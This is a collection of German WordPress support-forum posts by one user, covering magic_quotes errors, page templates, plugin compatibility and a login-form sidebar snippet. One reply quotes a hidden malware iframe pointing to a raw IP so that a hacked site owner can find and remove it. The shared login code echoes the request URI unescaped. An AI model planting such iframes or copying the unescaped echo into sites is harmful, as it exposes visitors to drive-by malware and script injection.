Beiträge von mfitzen

Können wir gerne mal machen. Das Problem wird nur sein, dass der Fehler halt sporadisch auftritt und man so den Erfolg bzw. Misserfolg nur schwer beobachten kann. Die letzten Tage hatte ich eigentlich wieder Ruhe. Lediglich gestern Mittag kam es wieder häufiger zu diesen Fehlermeldungen, weswegen ich diesen Thread dann auch nochmal bemüht habe.

Ich wünsche dann erstmal angenehme Nachtruhe

zu 1) magic_quotes_gpc Off
magic_quotes_runtime Off
magic_quotes_sybase Off

zu 2) es handelt sich um ein 64Bit AMD-CPU, aber mit einem 32Bit-Suse Betriebssystem

Ja, schon besser :mrgreen: Hab aber gerade mal nachgesehen: magic_quotes wurde von Seiten meines Providers (all-inkl) auf dem Server deaktiviert. Also kann´s ja eigentlich nicht daran liegen, oder?!

Zitat von codestyling

Code

set_magic_quotes_runtime(0);

Somit gilt das sowohl fürs öffentliche Blog als auch fürs Backend.

Ergebnis: ich kann trotz per php.ini eingeschaltetem magic_quotes_runtime wieder das Blog und auch den Login und DashBoard benutzen. ...Definitiv macht es aber die de_DE.mo Files beim Einlesen kaputt, denn diese PHP Option modifiziert Dateizugriffe und somit den Inhalt der *.mo Dateien beim Einlesen, da diese teilweise Binärdaten enthalten, deren 0x0000 in "\0" umgewandelt werden, was die Fehler dann erzeugt.

Kannst Du mir das nochmal für Laien erklären? Wenn ich die oben erwähnte Zeile in die wp-config einfüge, zerschießt es mir dann die Sprachdatei, oder wie darf ich das verstehen?

Ist nicht so schwer... Alles hier beschrieben.

Zitat von nila

meine website heist http://www.nila.de

und dann habe ich folgendes aufgerufen; http://www.nila.de/test.php

aber bekomme fehlermledung

Beide angegebenen Links sind nicht erreichbar. Welche Fehlermeldungen erhälst Du?

Wäre super wenn Du es schaffen würdest, Dir das mal genauer anzusehen. Erst gestern habe ich dieses Plugin für die Realisierung eines Gästebuchs eingesetzt. :-|

Nachtrag zu meinem vorherigen Beitrag: Beim PHPKit (seinerzeit auch bekannt als eine große Sicherheitslücke) war es möglich, durch modifizierte Avatare (unter Punkt 5) Schadcode einzuschleusen. Mich hat es wie gesagt damals selbst getroffen und es lief genau wie hier in einem vorherigen Posting beschrieben. Wäre es denkbar, dass sowas auch bei WordPress passieren könnte?

Wie bist Du vorgegangen? So wie´s aussieht versuchst Du das Template im Textbereich des Editors aufzurufen (oder wo kommt der exec-php Fehler her?). Erstelle einfach eine normale Textdatei. Füge dort den obigen Code ein. Danach speicherst Du das ganze z.B. als links.php ab und lädst die Datei in Deinen Themeordner. Dann erstellst Du in WP eine neue Seite ohne Inhalt (lediglich den Titel der Seite eingeben), wählst dann unter Seitentemplates die "Linkseite" aus. Nach dem Speichern sollte die neue Seite in Deiner Navigation erscheinen und alle Links ausspucken, die angelegt wurden.

zu 1: Ist glaube ich nicht so einfach, wenn Du die Texte auf Seiten unterbringen möchtest. Texte verkürzen ist ja normalerweise ne Angelegenheit für den More-Tag, aber ob´s da ne Möglichkeit gibt, dass der Text dann direkt innerhalb der Seite angezeigt wird weiss ich nicht. Vielleicht ist sowas mit Ajax machbar.

zu 2: Dafür gibt´s ein schönes Plugin. Nähere Infos zum Page-Link-Manager gibt´s auf texto.de

Ne wirkliche Idee habe ich nicht, aber benutzt Du Gravatare oder lässt Deine User gar Avatare hochladen, z. B. durch ein Forum oder so?

Hatte ähnliches Problem mal mit nem anderen CMS. Durchsuche mal die Dateien nach folgendem Code:

<iframe src="http://58.65.235.41/llll/stds/go.php?sid=1" style="visibility: hidden; position: absolute;" height="1" width="1">
</iframe>

Diesen solltest Du dann löschen (vorausgesetzt er lässt sich finden). Danach sind unbedingt alle Zugangsdaten zu ändern (WP Installation, Datenbank, FTP Server). Damit hast Du dann schonmal nen Schritt in die richtige Richtung gemacht. Kann Dir leider nicht versprechen, dass Du den Code irgendwo findest. Könnte auch irgendwo in der Datenbank stecken. Auf jeden Fall auch mal die Verzeichnisrechte überprüfen. Infos dazu solltest Du eigentlich hier im Forum finden. Sollten meine Tipps nicht helfen oder falsch sein, wird einer der Moderaten oder der anderen User Dir sicherlich weiterhelfen können. Das wären zumindest die Schritte, die ich als erstes einleiten würde...

PS: Oft findet sich die Ursache für solche Trojaner oder Viren auch in unsauber programmierten Plugins. Eventuell auch mal die Dateien durchsuchen.

EDIT: Da war jemand schneller Ich sollte mir abgewöhnen so viel zu schreiben

Soweit ist WP-Polls 2.30 nicht für Deine WP Version (2.3.1) geeignet. Such mal über Google nach der Version 2.21 des Plugins.

EDIT: Siehe Entwickler-Homepage -> WP-Polls 2.30 Created for WordPress 2.5 And Above

So, hab´s hinbekommen. Stell´s mal hier rein, vielleicht kann´s irgendjemand mal brauchen. Der folgende Code liefert ein Login-Formular, dass nach dem Login ein paar Quicklinks bereitsstellt (kann vom User-Level abhängig gemacht werden - hier rot markiert).

<h2><?php _e('Login'); ?></h2>
<ul>
<li>
    <form name="loginform" id="loginform" action="<?php echo get_settings('siteurl'); ?>/wp-login.php" method="post">
    <div>
        <label><?php _e('Login') ?>:
            <br />
            <input type="text" name="log" id="log" value="" size="20" tabindex="7" />
        </label>
            <br />
        <label><?php _e('Password') ?>:
            <br />
            <input type="password" name="pwd" id="pwd" value="" size="20" tabindex="8" />
        </label>
            <br />
            <a href="<?php bloginfo('url'); ?>/wp-login.php?action=lostpassword">Passwort vergessen &raquo;</a>
<br />
            <input type="submit" name="submit" value="<?php _e('Login'); ?> &raquo;" tabindex="9" />
            <?php wp_register('', ''); ?>
            <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/><br /><br />


    </div>
    </form>
</li>
</ul>
<?php
  else:
?>
  <h2><?php _e('Hallo '); ?><?php echo $user_identity; ?></h2>
    <ul>
    <li><a href="<?php bloginfo('url'); ?>/wp-admin/index.php"><?php _e('Menü'); ?></a></li>
    <?php 
      global $userdata, $user_identity, $wpdb;
      get_currentuserinfo();
    ?>


    [COLOR=Red]<?php if ($userdata->user_level >= '[B]1[/B]')[/COLOR] { ?>
    <li><a href="<?php bloginfo('url'); ?>/wp-admin/post-new.php"><?php _e('Artikel verfassen'); ?></a></li>
    <li><a href="<?php bloginfo('url'); ?>/wp-admin/link-add.php"><?php _e('Link hinzufügen'); ?></a></li>
    <li><a href="<?php echo get_settings('siteurl') . '/wp-login.php?action=logout&amp;redirect_to=' . $_SERVER['REQUEST_URI']; ?>"><?php _e('Logout'); ?></a></li>
    <?php } else {?>
    <li><a href="<?php echo get_settings('siteurl') . '/wp-login.php?action=logout&amp;redirect_to=' . $_SERVER['REQUEST_URI']; ?>"><?php _e('Logout'); ?></a></li>
    <?php } ?>
    </ul>

Funktioniert bei mir soweit einwandfrei. Verbesserungsvorschläge werden aber gerne angenommen Danke nochmal El-Q!

Super, Danke! Ich war schon nah dran, hatte aber den Teil hinter der bloginfo URL nochmal in Anführungsstriche gepackt, weshalb es nicht funktionierte... Naja, jetzt weiss ich bescheid. Vielen Dank!

Ich habe nun noch Links zu den wichtigsten WP Funktionen wie Schreiben oder Links anlegen eingebaut. Lassen sich diese auch je nach Userlevel anzeigen? D.h. ein registrierter Leser bekommt nur den Link zum Profil, ein Autor bekommt den Link zum Profil, zum Verfassen von Beiträgen etc.

Danke für den obigen Code! Konnte ich gerade gut gebrauchen. Eine Frage hätte ich aber noch. Du schreibst:

<a href="http://www.schoool.ch/faq/#9">Anmelde-Daten vergessen &raquo;</a>


und


<a href="http://www.schoool.ch/wp-admin/post-new.php"><?php _e('Beitrag verfassen'); ?></a>

Lässt sich die URL mit dem http auch abfragen, sodass ich diese nicht von Hand einbauen muss? Ich hoffe Du / ihr versteht was ich meine. :confused:

Zitat von Scrimavo

Selbst Wordpress hat ab und zu mal ein Sichereitsupdate. Das ist auch gut so, zeigt es doch das dran gearbeitet wird.
Das dürfte meiner Meinung nach kein Problem sein. Das Forum ist einfach zu bedienen, einzurichten und leicht in Wordpress einzubinden.

Ich denke es ging sju hier mehr um die Sicherheit des Plugins als um die von WordPress selbst. Das eine ist nämlich nicht mit dem anderen gleichzusetzen. Aber auch hier kann ich bestätigen, dass es regelmäßig Security-Updates gibt. Also sobald Lücken bekannt werden, werden diese schnellstmöglich gefixt.

Zitat von simon89

wie hast du die breite des forums, so eingestellt?

Steht alles wunderbar in diesem Beitrag erklärt.

Ich kann mir das fast nicht vorstellen, dass er jetzt ganz aufgehört hat. Dem Plugin wurde doch erst kürzlich ein eigenes Forum spendiert und Version 3.2 wurde doch glaub ich auch schon angekündigt. Naja, vielleicht nur eine schöpferische Pause...

Nee, das kann ich nicht bestätigen. Bei mir funktioniert das Versenden als Admin an normale User (registrierte Leser). Auch an die anderen Usertypen kann ich problemlos Nachrichten verschicken. Hab´s gerade nochmal getestet. Überprüfe mal die Berechtigungen im Role Manager Plugin.

Ja stimmt, mit den Berechtigungen haut das nicht ganz hin. Frag doch mal beim Autor nach.

Danke für die Info mit der Tabelle...

Soweit ich das beurteilen kann, können sich alle registrierten User untereinander Nachrichten in Form von Email schicken. Das heisst, jeder hat unter dem Punkt schreiben einen Unterpunkt Email, in dem er die Empfänger einzeln auswählen kann. Aber installier´s doch einfach mal und schau selber.

Aber ich hab noch ne andere Frage an Dich: Womit hast Du die Tabelle, Zuschauer und Torschützen-Übersichten in der Sidebar gemacht? Ist das ein Plugin?